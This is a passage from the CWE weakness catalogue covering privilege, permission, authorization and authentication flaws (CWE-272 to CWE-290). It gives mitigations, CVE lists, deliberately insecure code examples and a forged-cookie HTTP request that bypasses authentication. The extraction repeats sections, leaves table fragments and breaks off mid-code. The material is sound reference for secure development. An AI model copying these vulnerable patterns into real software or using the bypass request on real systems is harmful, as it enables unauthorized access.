FILE* data = fopen(argv[1], "r+");
...

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to setuid() with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

**Observed Examples**

<td>CVE-2004-2504</td>
<td>Windows program running as SYSTEM does not drop privileges before executing other programs (many others like this, especially involving the Help facility).</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

**Separation of Privilege**

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

**Architecture and Design**

**Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

**Architecture and Design**

**Separation of Privilege**

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

**Weakness Ordinalities**

**Primary (where the weakness exists independent of other weaknesses)**

**Relationships**

CWE-272: Least Privilege Violation

**Nature**

- **Type**: ParentOf
- **ID**: 272
- **Name**: Least Privilege Violation

**Status**: Incomplete

**Description**

**Summary**

The elevated privilege level required to perform operations such as chroot() should be dropped immediately after the operation is performed.

**Time of Introduction**

- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Access Control
- Confidentiality
- Gain privileges / assume identity
- Read application data
- Read files or directories

An attacker may be able to access resources with the elevated privilege that he should not have been able to access. This is particularly likely in conjunction with another flaw -- e.g., a buffer overflow.

**Detection Methods**

- Automated Static Analysis - Binary / Bytecode
- SOAR Partial

According to SOAR, the following detection techniques may be useful:

- Cost effective for partial coverage:
  - Compare binary / bytecode to application permission manifest

**References**

**Maintenance Notes**

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category.
Dynamic Analysis with automated results interpretation

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Host-based Vulnerability Scanners – Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

Manual Static Analysis - Source Code

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Manual Source Code Review (not inspections)
Cost effective for partial coverage:
- Focused Manual Spotcheck - Focused manual analysis of source

Automated Static Analysis - Source Code

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Source code Weakness Analyzer
  - Context-configured Source Code Weakness Analyzer

Automated Static Analysis

SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Permission Manifest Analysis

Architecture / Design Review

SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
  - Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
- Attack Modeling

Demonstrative Examples

Example 1:

C/C++ Example:

```c
setuid(0);
// Do some important stuff
setuid(old_uid);
// Do some non privileged stuff.
```

Java Example:

```java
method() {
  AccessController.doPrivileged(new PrivilegedAction()) {
    public Object run() {
      // Insert all code here
    }
  };
}
```

Example 2:
The following code calls chroot() to restrict the application to a subset of the filesystem below APP_HOME in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.
C Example:

```c
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
```

Constraining the process inside the application’s home directory before opening any files is a valuable security measure. However, the absence of a call to setuid() with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

**Potential Mitigations**

**Architecture and Design**

**Operation**

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

**Architecture and Design**

**Separation of Privilege**

Follow the principle of least privilege when assigning access rights to entities in a software system.

**Architecture and Design**

**Separation of Privilege**

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

**Other Notes**

If system privileges are not dropped when it is reasonable to do so, this is not a vulnerability by itself. According to the principle of least privilege, access should be allowed only when it is absolutely necessary to the function of a given system, and only for the minimal necessary amount of time. Any further allowance of privilege widens the window of time during which a successful exploitation of the system will provide an attacker with that same privilege. If at all possible, limit the allowance of system privilege to small, simple sections of code that may be called atomically.

When a program calls a privileged function, such as chroot(), it must first acquire root privilege. As soon as the privileged operation has completed, the program should drop root privilege and return to the privilege level of the invoking user.

**Weakness Ordinalities**

CWE-273: Improper Check for Dropped Privileges

<table>
<thead>
<tr>
<th>Weakness ID: 273 (Weakness Base)</th>
<th>Status: Incomplete</th>
</tr>
</thead>
</table>

Description

Summary

The software attempts to drop privileges but does not check or incorrectly checks to see if the drop succeeded.

Extended Description

If the drop fails, the software will continue to run with the raised privileges, which might provide additional access to unprivileged users.

Time of Introduction

• Architecture and Design
• Implementation
• Operation

Applicable Platforms

Languages

• All

Modes of Introduction

This issue is likely to occur in restrictive environments in which the operating system or application provides fine-grained control over privilege management.

Common Consequences

Access Control

Gain privileges / assume identity

• If privileges are not dropped, neither are access rights of the user. Often these rights can be prevented from being dropped.

Access Control

Non-Repudiation

Gain privileges / assume identity

Hide activities

• If privileges are not dropped, in some cases the system may record actions as the user which is being impersonated rather than the impersonator.

Likelihood of Exploit

Medium

Demonstrative Examples

This code attempts to take on the privileges of a user before creating a file, thus avoiding performing the action with unnecessarily high privileges:
C/C++ Example:

```c
bool DoSecureStuff(HANDLE hPipe) {
    bool fDataWritten = false;
    ImpersonateNamedPipeClient(hPipe);
    HANDLE hFile = CreateFile(...);
    ../
    RevertToSelf();
    ../
}
```

The call to ImpersonateNamedPipeClient may fail, but the return value is not checked. If the call fails the code may execute with higher privileges than intended. In this case, an attacker could exploit this behavior to write a file to a location he does not have access to.

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-2916</td>
<td>Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.</td>
</tr>
<tr>
<td>CVE-2006-4447</td>
<td>Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

**Separation of Privilege**

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

**Implementation**

**High**

Check the results of all functions that return a value and verify that the value is expected. Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

**Implementation**

In Windows, make sure that the process token has the SeImpersonatePrivilege(Microsoft Server 2003). Code that relies on impersonation for security must ensure that the impersonation succeeded, i.e., that a proper privilege demotion happened.

**Background Details**

In Windows based environments that have access control, impersonation is used so that access checks can be performed on a client identity by a server with higher privileges. By impersonating the client, the server is restricted to client-level security -- although in different threads it may have much higher privileges.

</tr>
<tr>
<td>CVE-2005-3286</td>
<td>Firewall crashes when it can’t read a critical memory block that was protected by a malicious process.</td>
</tr>
</tbody>
</table>

Weakness Ordinalities
Primary (where the weakness exists independent of other weaknesses)

Relationships

Relationship Notes
Overlaps dropped privileges, insufficient permissions.
This has a layering relationship with Unchecked Error Condition and Unchecked Return Value.

Theoretical Notes
Within the context of vulnerability theory, privileges and permissions are two sides of the same coin. Privileges are associated with actors, and permissions are associated with resources. To perform access control, at some point the software makes a decision about whether the actor (and the privileges that have been assigned to that actor) is allowed to access the resource (based on the permissions that have been specified for that resource).
Causal Nature
Explicit (an explicit weakness resulting from behavior of the developer)

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>PLOVER</td>
<td>Insufficient privileges</td>
</tr>
</tbody>
</table>

Maintenance Notes
CWE-280 and CWE-274 are too similar. It is likely that CWE-274 will be deprecated in the future.

CWE-275: Permission Issues

Category ID: 275 (Category)  Status: Draft

Description

Summary
Weaknesses in this category are related to improper assignment or handling of permissions.

Detection Methods

**CWE-280: Improper Handling of Insufficient Permissions or Privileges**

**Weakness ID:** 280 *(Weakness Base)*

**Status:** Draft

**Description**

**Summary**

The application does not handle or incorrectly handles when it has insufficient privileges to access resources or functionality as specified by their permissions. This may cause it to follow unexpected code paths that may leave the application in an invalid state.

**Time of Introduction**

- Architecture and Design
- Implementation

**Applicable Platforms**

**Languages**

- All

**Common Consequences**

- Other
- Other
  - Alter execution logic

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-0501</td>
<td>Special file system allows attackers to prevent ownership/permission change of certain entries by opening the entries before calling a setuid program.</td>
</tr>
<tr>
<td>CVE-2004-0148</td>
<td>FTP server places a user in the root directory when the user's permissions prevent access to his/her own home directory.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Architecture and Design**

**Separation of Privilege**

Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.
Implementation

Always check to see if you have successfully accessed a resource or system functionality, and use proper error handling if it is unsuccessful. Do this even when you are operating in a highly privileged mode, because errors or environmental conditions might still cause a failure. For example, environments with highly granular permissions/privilege models, such as Windows or Linux capabilities, can cause unexpected failures.

Relationships

<table>

<tr>
<td>PeerOf</td>
<td></td>
<td>636</td>
<td>Not Failing Securely ('Failing Open')</td>
<td>1000</td>
</tr>
</tbody>
</table>

Relationship Notes

This can be both primary and resultant. When primary, it can expose a variety of weaknesses because a resource might not have the expected state, and subsequent operations might fail. It is often resultant from Unchecked Error Condition (CWE-391).

Research Gaps

This type of issue is under-studied, since researchers often concentrate on whether an object has too many permissions, instead of not enough. These weaknesses are likely to appear in environments with fine-grained models for permissions and privileges, which can include operating systems and other large-scale software packages. However, even highly simplistic permission/privilege models are likely to contain these issues if the developer has not considered the possibility of access failure.

Theoretical Notes

Within the context of vulnerability theory, privileges and permissions are two sides of the same coin. Privileges are associated with actors, and permissions are associated with resources. To perform access control, at some point the software makes a decision about whether the actor (and the privileges that have been assigned to that actor) is allowed to access the resource (based on the permissions that have been specified for that resource).

CWE-283: Unverified Ownership

**Description**

**Summary**
The software does not properly verify that a critical resource is owned by the proper entity.

**Time of Introduction**
- Architecture and Design

**Applicable Platforms**
- All

**Common Consequences**
- Access Control
- Gain privileges / assume identity
  - An attacker could gain unauthorized access to system resources

**Demonstrative Examples**
This function is part of a privileged program that takes input from users with potentially lower privileges.

**Python Example:**

```python
def killProcess(processID):
    os.kill(processID, signal.SIGKILL)
```

This code does not confirm that the process to be killed is owned by the requesting user, thus allowing an attacker to kill arbitrary processes.

This function remedies the problem by checking the owner of the process before killing it:

**Python Example:**

```python
def killProcess(processID):
    user = getCurrentUser()
    #Check process owner against requesting user
    if getProcessOwner(processID) == user:
        os.kill(processID, signal.SIGKILL)
        return
    else:
        print("You cannot kill a process you don't own")
        return
```

**Observed Examples**
CWE Version 2.11
CWE-284: Improper Access Control

Reference | Description
---|---
CVE-2001-0178 | Program does not verify the owner of a UNIX socket that is used for sending a password.
CVE-2004-2012 | Owner of special device not checked, allowing root.

Potential Mitigations

Architecture and Design

Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Architecture and Design

Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

CWE-284: Improper Access Control

Weakness ID: 284 (Weakness Class) Status: Incomplete

Description

Summary

The software does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

Extended Description

Access control involves the use of several protection mechanisms such as authentication (proving the identity of an actor) authorization (ensuring that a given actor can access a resource), and accountability (tracking of activities that were performed). When any mechanism is not applied or otherwise fails, attackers can compromise the security of the software by gaining privileges, reading sensitive information, executing commands, evading detection, etc.

There are two distinct behaviors that can introduce access control weaknesses:

Specification: incorrect privileges, permissions, ownership, etc. are explicitly specified for either the user or the resource (for example, setting a password file to be world-writable, or giving administrator capabilities to a guest user). This action could be performed by the program or the administrator.

Enforcement: the mechanism contains errors that prevent it from properly enforcing the specified access control requirements (e.g., allowing the user to specify their own privileges, or allowing a syntactically-incorrect ACL to produce insecure settings). This problem occurs within the program itself, in that it does not actually enforce the intended security policy that the administrator specifies.

Alternate Terms
Authorization
The terms "access control" and "authorization" are often used interchangeably, although many people have distinct definitions. The CWE usage of "access control" is intended as a general term for the various mechanisms that restrict which users can access which resources, and "authorization" is more narrowly defined. It is unlikely that there will be community consensus on the use of these terms.

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Common Consequences
- Other
- Varies by context

Potential Mitigations
Architecture and Design
Operation
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Architecture and Design
Separation of Privilege
Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.

Ensure that appropriate compartmentalization is built into the system design and that the compartmentalization serves to allow for and further reinforce privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide when it is appropriate to use and to drop system privileges.

Affected Resources
### CWE-285: Improper Authorization

**Weakness ID:** 285 *(Weakness Class)*  
**Status:** Draft

#### Description

**Summary**

The software does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.

**Extended Description**

Assuming a user with a given identity, authorization is the process of determining whether that user can access a given resource, based on the user's privileges and any permissions or other access-control specifications that apply to the resource.

When access control checks are not applied consistently - or not at all - users are able to access data or perform actions that they should not be allowed to perform. This can lead to a wide range of problems, including information exposures, denial of service, and arbitrary code execution.

#### Alternate Terms

**AuthZ**

"AuthZ" is typically used as an abbreviation of "authorization" within the web application security community. It is also distinct from "AuthC," which is an abbreviation of "authentication." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

#### Time of Introduction

- Architecture and Design
- Implementation
- Operation

#### Applicable Platforms

**Languages**

- Language-independent

**Technology Classes**

- Web-Server *(Often)*
- Database-Server *(Often)*

#### Maintenance Notes

This item needs more work. Possible sub-categories include:

- Trusted group includes undesired entities (partially covered by CWE-286)
- Group can perform undesired actions
- ACL parse error does not fail closed

#### Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>

</tr>
</thead>
<tbody>
<tr>
<td>19</td>
<td>Embedding Scripts within Scripts</td>
</tr>
<tr>
<td>474</td>
<td>Signature Spoofing by Key Theft</td>
</tr>
</tbody>
</table>

#### References

A developer may introduce authorization weaknesses because of a lack of understanding about the underlying technologies. For example, a developer may assume that attackers cannot modify certain inputs such as headers or cookies.

Authorization weaknesses may arise when a single-user application is ported to a multi-user environment.

**Common Consequences**

- **Confidentiality**
  - Read application data
  - Read files or directories

  An attacker could read sensitive data, either by reading the data directly from a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to read the data.

- **Integrity**
  - Modify application data
  - Modify files or directories

  An attacker could modify sensitive data, either by writing the data directly to a data store that is not properly restricted, or by accessing insufficiently-protected, privileged functionality to write the data.

- **Access Control**
  - Gain privileges / assume identity

  An attacker could gain privileges by modifying or reading critical data directly, or by accessing insufficiently-protected, privileged functionality.

**Likelihood of Exploit**

- High

**Detection Methods**

- **Automated Static Analysis**
  - Limited

  Automated static analysis is useful for detecting commonly-used idioms for authorization. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authorization libraries.

  Generally, automated static analysis tools have difficulty detecting custom authorization schemes. In addition, the software’s design may include some functionality that is accessible to any user and does not require an authorization check; an automated technique that detects the absence of authorization may report false positives.

- **Automated Dynamic Analysis**

  Automated dynamic analysis may find many or all possible interfaces that do not require authorization, but manual analysis is required to determine if the lack of authorization violates business logic.

- **Manual Analysis**
  - Moderate

  This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

  Specifically, manual static analysis is useful for evaluating the correctness of custom authorization mechanisms.

  These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules. However, manual efforts might not achieve desired code coverage within limited time constraints.

- **Manual Static Analysis - Binary / Bytecode**

  According to SOAR, the following detection techniques may be useful:

  - Cost effective for partial coverage:
    - Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
CWE-285: Improper Authorization

Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Web Application Scanner
- Web Services Scanner
- Database Scanners

Dynamic Analysis with manual results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Host Application Interface Scanner
- Fuzz Tester
- Framework-based Fuzzer
- Forced Path Execution
- Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

Manual Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Focused Manual Spotcheck - Focused manual analysis of source
- Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Context-configured Source Code Weakness Analyzer

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

Example 1:
This function runs an arbitrary SQL query on a given database, returning the result of the query.

PHP Example:

```php
function runEmployeeQuery($dbName, $name){
    mysql_select_db($dbName,$globalDbHandle) or die("Could not open Database".$dbName);

    //Use a prepared statement to avoid CWE-89
    $preparedStatement = $globalDbHandle->prepare('SELECT * FROM employees WHERE name = :name');
    $preparedStatement->execute(array(':name' => $name));
    return $preparedStatement->fetchAll();
}

$employeeRecord = runEmployeeQuery('EmployeeDB',$_GET['EmployeeName']);
```

While this code is careful to avoid SQL Injection, the function does not confirm the user sending the query is authorized to do so. An attacker may be able to obtain sensitive employee information from the database.

Example 2:
The following program could be part of a bulletin board system that allows users to send private messages to each other. This program intends to authenticate the user before deciding whether a private message should be displayed. Assume that LookupMessageObject() ensures that the $id argument is numeric, constructs a filename based on that id, and reads the message details from that file. Also assume that the program stores all private messages for all users in the same directory.

**Perl Example:**

```perl
sub DisplayPrivateMessage { 
    my($id) = @_; 
    my $Message = LookupMessageObject($id); 
    print "From: " . encodeHTML($Message->{from}) . "<br>
"; 
    print "Subject: " . encodeHTML($Message->{subject}) . "
"; 
    print "Body: " . encodeHTML($Message->{body}) . "
"; 
} 
my $q = new CGI; 
# For purposes of this example, assume that CWE-309 and 
# CWE-523 do not apply. 
if (! AuthenticateUser($q->param('username'), $q->param('password'))) { 
    ExitError("invalid username or password"); 
} 
my $id = $q->param('id'); 
DisplayPrivateMessage($id); 
```

While the program properly exits if authentication fails, it does not ensure that the message is addressed to the user. As a result, an authenticated attacker could provide any arbitrary identifier and read private messages that were intended for other users.

One way to avoid this problem would be to ensure that the "to" field in the message object matches the username of the authenticated user.

</tr>
</tbody>
</table>

### Potential Mitigations

#### Architecture and Design

Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.

#### Architecture and Design

Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.

#### Architecture and Design

Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, consider using authorization frameworks such as the JAAS Authorization Framework [R.285.5] and the OWASP ESAPI Access Control feature [R.285.4].

#### Architecture and Design

For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.

One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.

#### System Configuration

Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a “default deny” policy when defining these ACLs.

### Background Details

An access control list (ACL) represents who/what has permissions to a given object. Different operating systems implement (ACLs) in different ways. In UNIX, there are three types of permissions: read, write, and execute. Users are divided into three classes for file access: owner, group owner, and all other users where each class has a separate set of rights. In Windows NT, there are four basic types of permissions for files: "No access", "Read access", "Change access", and "Full control". Windows NT extends the concept of three types of users in UNIX to include a list of users and groups along with their associated permissions. A user can create an object (file) and assign specified permissions to that object.

CWE-286: Incorrect User Management

**Description**

**Summary**
The software does not properly manage a user within its environment.

**Extended Description**
Users can be assigned to the wrong group (class) of permissions resulting in unintended access rights to sensitive objects.

**Time of Introduction**
- Architecture and Design
- Implementation
- Operation

**Applicable Platforms**

**Languages**
- Language-independent

**Common Consequences**

**Other**

**Varies by context**

**Maintenance Notes**

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693). This item needs more work. Possible sub-categories include: user in wrong group, and user with insecure profile or "configuration". It also might be better expressed as a category than a weakness.

---

CWE-287: Improper Authentication

**Description**

**Summary**
When an actor claims to have a given identity, the software does not prove or insufficiently proves that the claim is correct.

**Alternate Terms**
authentification
An alternate term is "authentification", which appears to be most commonly used by people from non-English-speaking countries.

AuthC
"AuthC" is typically used as an abbreviation of "authentication" within the web application security community. It is also distinct from "AuthZ," which is an abbreviation of "authorization." The use of "Auth" as an abbreviation is discouraged, since it could be used for either authentication or authorization.

Time of Introduction
- Architecture and Design
- Implementation

Applicable Platforms
Languages
- Language-independent

Common Consequences
Integrity
Confidentiality
Availability
Access Control
Read application data
Gain privileges / assume identity
Execute unauthorized code or commands
This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.

Likelihood of Exploit
Medium to High

Detection Methods
Automated Static Analysis
Limited
Automated static analysis is useful for detecting certain types of authentication. A tool may be able to analyze related configuration files, such as .htaccess in Apache web servers, or detect the usage of commonly-used authentication libraries.
Generally, automated static analysis tools have difficulty detecting custom authentication schemes. In addition, the software's design may include some functionality that is accessible to any user and does not require an established identity; an automated technique that detects the absence of authentication may report false positives.

Manual Static Analysis
High
This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.
Manual static analysis is useful for evaluating the correctness of custom authentication mechanisms.
These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Manual Static Analysis - Binary / Bytecode
SOAR Partial
According to SOAR, the following detection techniques may be useful:
- Cost effective for partial coverage:
  Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Dynamic Analysis with automated results interpretation
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Web Application Scanner
- Web Services Scanner
- Database Scanners

Dynamic Analysis with manual results interpretation
SOAR Partial

Cost effective for partial coverage:
- Source code Weakness Analyzer
- Context-configured Source Code Weakness Analyzer

Automated Static Analysis
SOAR Partial
According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
- Configuration Checker

Architecture / Design Review
SOAR High
According to SOAR, the following detection techniques may be useful:
Highly cost effective:
- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
- Formal Methods / Correct-By-Construction

Demonstrative Examples

Example 1:
The following code intends to ensure that the user is already logged in. If not, the code performs
authentication with the user-provided username and password. If successful, it sets the loggedin
and user cookies to "remember" that the user has already logged in. Finally, the code performs
administrator tasks if the logged-in user has the "Administrator" username, as recorded in the user
cookie.

Perl Example:

```perl
my $q = new CGI;
if ($q->cookie('loggedin') ne "true") {
    if (! AuthenticateUser($q->param('username'), $q->param('password'))) {
        ExitError("Error: you need to log in first");
    } else {
        # Set loggedin and user cookies.
        $q->cookie(
            -name => 'loggedin',
            -value => 'true'
        );
    }
}
```
Unfortunately, this code can be bypassed. The attacker can set the cookies independently so that the code does not check the username and password. The attacker could do this with an HTTP request containing headers such as:

```
GET /cgi-bin/vulnerable.cgi HTTP/1.1
Cookie: user=Administrator
Cookie: loggedin=true
[body of request]
```

By setting the loggedin cookie to "true", the attacker bypasses the entire authentication check. By using the "Administrator" value in the user cookie, the attacker also gains privileges to administer the software.

**Example 2:**

In January 2009, an attacker was able to gain administrator access to a Twitter server because the server did not restrict the number of login attempts. The attacker targeted a member of Twitter's support team and was able to successfully guess the member's password using a brute force with a large number of common words. Once the attacker gained access as the member of the support staff, he used the administrator panel to gain access to 33 accounts that belonged to celebrities and politicians. Ultimately, fake Twitter messages were sent that appeared to come from the compromised accounts.

CWE-288: Authentication Bypass Using an Alternate Path or Channel

Weakness ID: 288 (Weakness Base) Status: Incomplete

Description

Summary
A product requires authentication, but the product has an alternate path or channel that does not require authentication.

Time of Introduction
- Architecture and Design

Applicable Platforms
Languages
- All
CWE Version 2.11
CWE-289: Authentication Bypass by Alternate Name

Modes of Introduction
This is often seen in web applications that assume that access to a particular CGI program can only be obtained through a "front" screen, when the supporting programs are directly accessible. But this problem is not just in web apps.

Common Consequences
Access Control
Bypass protection mechanism

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1077</td>
<td>OS allows local attackers to bypass the password protection of idled sessions via the programmer's switch or CMD-PWR keyboard sequence, which brings up a debugger that the attacker can use to disable the lock.</td>
</tr>
<tr>
<td>CVE-1999-1454</td>
<td>Attackers with physical access to the machine may bypass the password prompt by pressing the ESC (Escape) key.</td>
</tr>
<tr>
<td>CVE-2000-1179</td>
<td>Router allows remote attackers to read system logs without authentication by directly connecting to the login screen and typing certain control characters.</td>
</tr>
<tr>
<td>CVE-2002-0066</td>
<td>Bypass authentication via direct request to named pipe.</td>
</tr>
<tr>
<td>CVE-2002-0870</td>
<td>Attackers may gain additional privileges by directly requesting the web management URL.</td>
</tr>
<tr>
<td>CVE-2003-0304</td>
<td>Direct request of installation file allows attacker to create administrator accounts.</td>
</tr>
<tr>
<td>CVE-2003-1035</td>
<td>User can avoid lockouts by using an API instead of the GUI to conduct brute force password guessing.</td>
</tr>
</tbody>
</table>

Potential Mitigations
Architecture and Design
Funnel all access through a single choke point to simplify how users can access a resource. For every access, perform a check to determine if the user has permissions to access the resource.

(CAPEC Version 2.10)

CWE-289: Authentication Bypass by Alternate Name

Weakness ID: 289 (Weakness Variant) Status: Incomplete

Description

Summary
The software performs authentication based on the name of a resource being accessed, or the name of the actor performing the access, but it does not properly check all possible names for that resource or actor.

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms

Languages
• All

Common Consequences
Access Control
Bypass protection mechanism

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2003-0317</td>
<td>Protection mechanism that restricts URL access can be bypassed using URL encoding.</td>
</tr>
<tr>
<td>CVE-2004-0847</td>
<td>Bypass of authentication for files using &quot;\&quot; (backslash) or &quot;%5C&quot; (encoded backslash).</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design
Input Validation
Avoid making decisions based on names of resources (e.g. files) if those resources can have alternate names.

Implementation
Input Validation
Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code’s environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Implementation
Input Validation
Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass whitelist validation schemes by introducing dangerous inputs after they have been checked.

CWE-290: Authentication Bypass by Spoofing

Weakness ID: 290 (Weakness Base)  Status: Incomplete

Description

Summary
This attack-focused weakness is caused by improperly implemented authentication schemes that are subject to spoofing attacks.

Time of Introduction
- Architecture and Design
- Implementation

Common Consequences
Access Control
Bypass protection mechanism
Gain privileges / assume identity
This weakness can allow an attacker to access resources which are not otherwise accessible without proper authentication.

Demonstrative Examples

Example 1:
The following code authenticates users.

Java Example: Bad Code

```java
String sourceIP = request.getRemoteAddr();
